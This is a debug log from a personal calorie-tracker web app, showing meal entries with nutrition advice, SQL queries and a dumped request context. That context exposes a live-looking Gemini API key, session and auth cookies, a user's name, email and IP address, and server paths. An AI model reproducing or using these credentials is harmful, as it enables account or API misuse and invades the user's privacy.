    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:10:30.391Z server-connect:app Executing action step setvalue
2025-12-16T10:10:30.391Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:10:30.391Z server-connect:output var_total: 1071
2025-12-16T10:10:30.391Z server-connect:app Executing action step setvalue
2025-12-16T10:10:30.391Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:10:30.391Z server-connect:output var_consumed: 45
2025-12-16T10:10:30.391Z server-connect:app Executing action step setvalue
2025-12-16T10:10:30.391Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:10:30.391Z server-connect:output var_deficit: 1329
2025-12-16T10:10:30.391Z server-connect:app Executing action step custom
2025-12-16T10:10:30.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:10:30.392Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
2025-12-16T10:10:41.594Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:10:41.594Z server-connect:app Executing action step identify
2025-12-16T10:10:41.594Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:41.594Z server-connect:output identity: 1
2025-12-16T10:10:41.594Z server-connect:app Executing action step restrict
2025-12-16T10:10:41.594Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:10:41.595Z server-connect:output restrict: undefined
2025-12-16T10:10:41.595Z server-connect:router Render template layouts/main
2025-12-16T10:10:41.595Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T10:10:42.155Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:10:42.156Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:10:42.156Z server-connect:app Executing action step identify
2025-12-16T10:10:42.156Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:42.157Z server-connect:output identity: 1
2025-12-16T10:10:42.157Z server-connect:app Executing action step restrict
2025-12-16T10:10:42.157Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:10:42.157Z server-connect:app Executing action step identify
2025-12-16T10:10:42.157Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:42.157Z server-connect:output identity: 1
2025-12-16T10:10:42.157Z server-connect:app Executing action step restrict
2025-12-16T10:10:42.157Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:10:42.158Z server-connect:output restrict: undefined
2025-12-16T10:10:42.158Z server-connect:app Executing action step single
2025-12-16T10:10:42.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:10:42.158Z server-connect:output restrict: undefined
2025-12-16T10:10:42.159Z server-connect:app Executing action step select
2025-12-16T10:10:42.159Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:10:42.159Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:10:42.161Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:10:42.259Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:10:42.259Z server-connect:app Executing action step identify
2025-12-16T10:10:42.259Z server-connect:app options: { provider: 'security' }
2025-12-16T10:10:42.259Z server-connect:output identity: 1
2025-12-16T10:10:42.259Z server-connect:app Executing action step restrict
2025-12-16T10:10:42.260Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:10:42.260Z server-connect:output restrict: undefined
2025-12-16T10:10:42.260Z server-connect:app Executing action step single
2025-12-16T10:10:42.260Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:10:42.261Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:10:42.261Z server-connect:app Executing action step select
2025-12-16T10:10:42.261Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:10:42.262Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
